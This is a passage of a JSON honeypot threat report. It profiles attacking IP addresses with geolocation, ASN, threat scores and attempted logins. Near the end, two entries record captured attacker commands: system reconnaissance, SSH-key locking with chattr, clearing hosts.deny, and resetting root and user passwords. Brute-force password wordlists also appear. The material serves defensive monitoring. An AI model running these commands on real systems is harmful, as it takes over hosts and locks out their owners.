        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 127,
        "days_active_30d": 30,
        "ports_targeted_30d": 38,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T13:14:32+00:00",
        "last_seen_30d": "2026-03-31T15:11:41.928000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 96,
        "Honeytrap": 25,
        "Cowrie": 4,
        "ConPot": 1,
        "Miniprint": 1
      }
    },
    "188.239.19.68": {
      "attack_count": 3,
      "first_seen": "2026-03-16T04:50:06.820Z",
      "last_seen": "2026-03-16T04:51:07.430Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 136907,
      "as_org": "HUAWEI CLOUDS",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T04:50:06.820000+00:00",
        "last_seen_30d": "2026-03-16T04:52:13.069000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "91.231.89.154": {
      "attack_count": 3,
      "first_seen": "2026-03-28T01:12:00.925Z",
      "last_seen": "2026-03-28T01:12:00.928Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 87.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 30,
        "ports_targeted_30d": 61,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T12:00:45.987000+00:00",
        "last_seen_30d": "2026-03-31T21:43:29.462000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 138,
        "Honeytrap": 44,
        "Cowrie": 3,
        "Tanner": 1
      }
    },
    "101.71.39.6": {
      "attack_count": 2,
      "first_seen": "2026-03-17T20:06:09.350Z",
      "last_seen": "2026-03-17T20:06:22.422Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T20:06:09.350000+00:00",
        "last_seen_30d": "2026-03-17T20:07:22.806000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "110.36.76.122": {
      "attack_count": 2,
      "first_seen": "2026-03-20T22:00:10.130Z",
      "last_seen": "2026-03-20T22:00:24.353Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T22:00:10.130000+00:00",
        "last_seen_30d": "2026-03-20T22:01:25.021000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.133.226.201": {
      "attack_count": 2,
      "first_seen": "2026-03-11T02:20:16.643Z",
      "last_seen": "2026-03-11T02:20:29.664Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 24186,
      "as_org": "RailTel Corporation of India Ltd",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T02:20:16.643000+00:00",
        "last_seen_30d": "2026-03-11T02:21:36.479000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.254.120.73": {
      "attack_count": 2,
      "first_seen": "2026-03-18T06:08:25.472Z",
      "last_seen": "2026-03-18T06:08:39.310Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T06:08:25.472000+00:00",
        "last_seen_30d": "2026-03-18T06:09:48.087000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.116.245.66": {
      "attack_count": 2,
      "first_seen": "2026-03-26T04:13:54.784Z",
      "last_seen": "2026-03-26T04:14:25.438Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Zhongli District",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T04:13:54.784000+00:00",
        "last_seen_30d": "2026-03-26T04:15:32.828000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "13.94.35.121": {
      "attack_count": 2,
      "first_seen": "2026-03-06T01:32:00.356Z",
      "last_seen": "2026-03-06T01:33:30.922Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T01:32:00.356000+00:00",
        "last_seen_30d": "2026-03-06T01:34:31.529000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "14.169.129.123": {
      "attack_count": 2,
      "first_seen": "2026-03-22T18:17:57.528Z",
      "last_seen": "2026-03-22T18:18:28.169Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T18:17:57.528000+00:00",
        "last_seen_30d": "2026-03-22T18:19:33.500000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "147.185.132.210": {
      "attack_count": 2,
      "first_seen": "2026-03-05T17:24:52.851Z",
      "last_seen": "2026-03-05T17:25:23.960Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 29,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-03T00:38:36.846000+00:00",
        "last_seen_30d": "2026-03-31T08:02:46.586000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 85,
        "Honeytrap": 35,
        "Cowrie": 2,
        "Tanner": 2,
        "ConPot": 1,
        "H0neytr4p": 1
      }
    },
    "153.0.124.193": {
      "attack_count": 2,
      "first_seen": "2026-03-13T20:29:08.987Z",
      "last_seen": "2026-03-13T20:29:21.877Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T20:29:08.987000+00:00",
        "last_seen_30d": "2026-03-13T20:30:27.259000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "182.204.184.212": {
      "attack_count": 2,
      "first_seen": "2026-03-12T19:22:59.120Z",
      "last_seen": "2026-03-12T19:23:12.310Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T19:22:59.120000+00:00",
        "last_seen_30d": "2026-03-12T19:24:17.429000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.215.82.114": {
      "attack_count": 2,
      "first_seen": "2026-03-04T00:40:38.843Z",
      "last_seen": "2026-03-04T00:41:02.782Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Las Condes",
      "asn": 18822,
      "as_org": "Manquehuenet",
      "threat_score": 1.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-03-04T00:40:38.843000+00:00",
        "last_seen_30d": "2026-03-04T00:41:02.782000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2
      }
    },
    "195.96.165.210": {
      "attack_count": 2,
      "first_seen": "2026-03-26T08:05:00.299Z",
      "last_seen": "2026-03-26T08:07:00.301Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 6863,
      "as_org": "Rostelecom",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T08:05:00.299000+00:00",
        "last_seen_30d": "2026-03-26T08:17:02.548000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "198.235.24.49": {
      "attack_count": 2,
      "first_seen": "2026-03-06T21:17:18.591Z",
      "last_seen": "2026-03-06T21:17:28.459Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 106,
        "days_active_30d": 30,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T08:35:42+00:00",
        "last_seen_30d": "2026-03-31T12:06:54.670000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 76,
        "Honeytrap": 22,
        "ConPot": 2,
        "Cowrie": 2,
        "Honeyaml": 2,
        "Dionaea": 1,
        "ElasticPot": 1
      }
    },
    "211.210.236.68": {
      "attack_count": 2,
      "first_seen": "2026-03-09T13:55:14.299Z",
      "last_seen": "2026-03-09T13:55:28.263Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Suwon",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T13:55:14.299000+00:00",
        "last_seen_30d": "2026-03-09T13:56:31.831000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.21.114": {
      "attack_count": 2,
      "first_seen": "2026-03-17T07:25:56.727Z",
      "last_seen": "2026-03-17T07:26:09.617Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T07:25:56.727000+00:00",
        "last_seen_30d": "2026-03-17T07:27:16.984000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "61.70.158.27": {
      "attack_count": 2,
      "first_seen": "2026-03-14T14:44:34.165Z",
      "last_seen": "2026-03-14T14:44:48.155Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Tainan",
      "asn": 9416,
      "as_org": "Hoshin Multimedia Center Inc.",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T14:44:34.165000+00:00",
        "last_seen_30d": "2026-03-14T14:45:51.678000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "73.140.151.155": {
      "attack_count": 2,
      "first_seen": "2026-03-21T04:10:22.018Z",
      "last_seen": "2026-03-21T04:10:22.234Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Puyallup",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T04:10:22.018000+00:00",
        "last_seen_30d": "2026-03-21T04:11:27.158000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "86.107.24.51": {
      "attack_count": 2,
      "first_seen": "2026-03-29T02:52:33.226Z",
      "last_seen": "2026-03-29T02:53:04.666Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 33977,
      "as_org": "Banat Telecom Satelit S.R.L.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T02:52:33.226000+00:00",
        "last_seen_30d": "2026-03-29T02:54:09.196000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "93.128.37.28": {
      "attack_count": 2,
      "first_seen": "2026-03-21T22:41:42.615Z",
      "last_seen": "2026-03-21T22:41:57.352Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Berlin",
      "asn": 6805,
      "as_org": "Telefonica Germany",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T22:41:42.615000+00:00",
        "last_seen_30d": "2026-03-21T22:43:07.324000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "165.22.223.152": {
      "attack_count": 1387,
      "first_seen": "2026-03-20T05:39:59.065Z",
      "last_seen": "2026-03-20T06:04:42.311Z",
      "sessions": 277,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "deploy",
        "deployer",
        "kafka",
        "web",
        "bob",
        "botuser",
        "debian",
        "abc",
        "ali",
        "anna",
        "app",
        "chris",
        "client",
        "cloud",
        "d",
        "david",
        "demo",
        "ducc0x"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "123",
        "1234",
        "12345678",
        "1qaz@WSX",
        "P@ssw0rd",
        "p@ssw0rd",
        "1",
        "12345",
        "123456789",
        "ana",
        "ark",
        "marketing",
        "0000",
        "090786",
        "0987654321",
        "11",
        "111",
        "1111"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 1948,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T05:39:59.065000+00:00",
        "last_seen_30d": "2026-03-20T06:14:46.411000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1387,
        "Suricata": 561
      }
    },
    "123.58.210.86": {
      "attack_count": 898,
      "first_seen": "2026-03-12T07:39:56.782Z",
      "last_seen": "2026-03-30T15:57:36.321Z",
      "sessions": 62,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "emo",
        "kevin",
        "lekaren",
        "n8n",
        "ociispth",
        "planka",
        "user",
        "yuhan",
        "admin",
        "apollo",
        "ark",
        "boss",
        "charles",
        "db2fenc1",
        "dennis",
        "dspace",
        "eddy",
        "ftpuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123",
        "123456",
        "#EDCvfr4%TGB",
        "12345",
        "1234567890",
        "123465h",
        "15975328",
        "ASDF1234",
        "Ab123456",
        "Amadeus",
        "Apollo123!",
        "Charles123!",
        "Eddy123",
        "Itsemoemo2025@Washere2025",
        "Librenms123",
        "Q1w2e3r4t5",
        "Qwerty7890"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123\\npPulbY4MoyXA\\npPulbY4MoyXA\\n\"|passwd",
        "echo \"Itsemoemo2025@Washere2025\\nslbbMgEWfjgH\\nslbbMgEWfjgH\\n\"|passwd",
        "echo \"kevin1234\\nAKuG3zolSepI\\nAKuG3zolSepI\\n\"|passwd",
        "echo \"n8n\\nz0aWoZ4GmlUc\\nz0aWoZ4GmlUc\\n\"|passwd",
        "echo \"ociispth123!\\nJbZv4YPbGUPn\\nJbZv4YPbGUPn\\n\"|passwd",
        "echo \"planka123!\\nwKklA6Vpjr4a\\nwKklA6Vpjr4a\\n\"|passwd",
        "echo \"root:DvoWigIxcuy1\"|chpasswd|bash",
        "echo \"root:yOD0qiZ8AP4y\"|chpasswd|bash",
        "echo \"test\\nAh69411rU87X\\nAh69411rU87X\\n\"|passwd",
        "echo \"yuhan1234\\n9xXXi98TByCu\\n9xXXi98TByCu\\n\"|passwd"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 55.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 1040,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T07:39:56.782000+00:00",
        "last_seen_30d": "2026-03-30T15:58:41.952000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 898,
        "Suricata": 142
      }
    },
    "179.125.24.202": {
      "attack_count": 849,
      "first_seen": "2026-03-04T04:28:10.494Z",
      "last_seen": "2026-03-26T18:48:37.648Z",
      "sessions": 65,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "kyle",
        "linux",
        "one",
        "paula",
        "sklep",
        "temp",
        "testmail",
        "abe",
        "admin",
        "asterix",
        "big",
        "csserver",
        "gianluca",
        "help",
        "kodi",
        "new",
        "omar",
        "omm"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345678",
        "12345",
        "123456",
        "password",
        "!qaz2wsx",
        "123456Aa",
        "1234Zxcv",
        "1qaz2WSX",
        "2wsx!QAZ",
        "Aa121212",
        "Abc12345",
        "Csserver123!",
        "Orders123",
        "QWERasdf1234",
        "Webuser123",
        "a123!@#"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "whoami",
        "crontab -l",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "which ls",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
